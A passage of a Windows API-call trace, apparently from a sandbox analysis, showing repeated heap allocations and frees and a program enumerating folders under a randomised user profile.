(HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.844] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.845] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.845] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.846] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.846] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.847] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0119.847] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.847] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.847] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.847] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.847] PathFindFileNameW (pszPath="") returned="" [0119.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.848] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.848] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0119.848] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0119.848] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.848] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.848] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\") returned="6xgwVggB1\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\") returned="4Ww3Dv\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\") returned="tKB6e7CXHXIzSLY\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.848] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.849] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.849] PathFindFileNameW (pszPath="") returned="" [0119.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x727e4400, ftCreationTime.dwHighDateTime=0x1d4cdd6, ftLastAccessTime.dwLowDateTime=0xf1552c00, ftLastAccessTime.dwHighDateTime=0x1d4d07c, ftLastWriteTime.dwLowDateTime=0xf1552c00, ftLastWriteTime.dwHighDateTime=0x1d4d07c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.849] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x727e4400, ftCreationTime.dwHighDateTime=0x1d4cdd6, ftLastAccessTime.dwLowDateTime=0xf1552c00, ftLastAccessTime.dwHighDateTime=0x1d4d07c, ftLastWriteTime.dwLowDateTime=0xf1552c00, ftLastWriteTime.dwHighDateTime=0x1d4d07c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.849] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b9924d0, ftCreationTime.dwHighDateTime=0x1d4c8f1, ftLastAccessTime.dwLowDateTime=0xfd361690, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0xfd361690, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3-Nhyh1JijVqK571B0JU", cAlternateFileName="3-NHYH~1")) returned 1 [0119.849] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b9924d0, ftCreationTime.dwHighDateTime=0x1d4c8f1, ftLastAccessTime.dwLowDateTime=0xfd361690, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0xfd361690, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3-Nhyh1JijVqK571B0JU", cAlternateFileName="3-NHYH~1")) returned 0 [0119.849] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.849] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.849] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0119.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.850] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.850] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.850] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.850] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.850] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.850] PathFindFileNameW (pszPath="") returned="" [0119.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.851] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.851] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.851] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.851] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.851] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.851] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.852] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.852] PathFindFileNameW (pszPath="") returned="" [0119.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.853] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.853] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.853] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.853] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.853] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.853] PathFindFileNameW 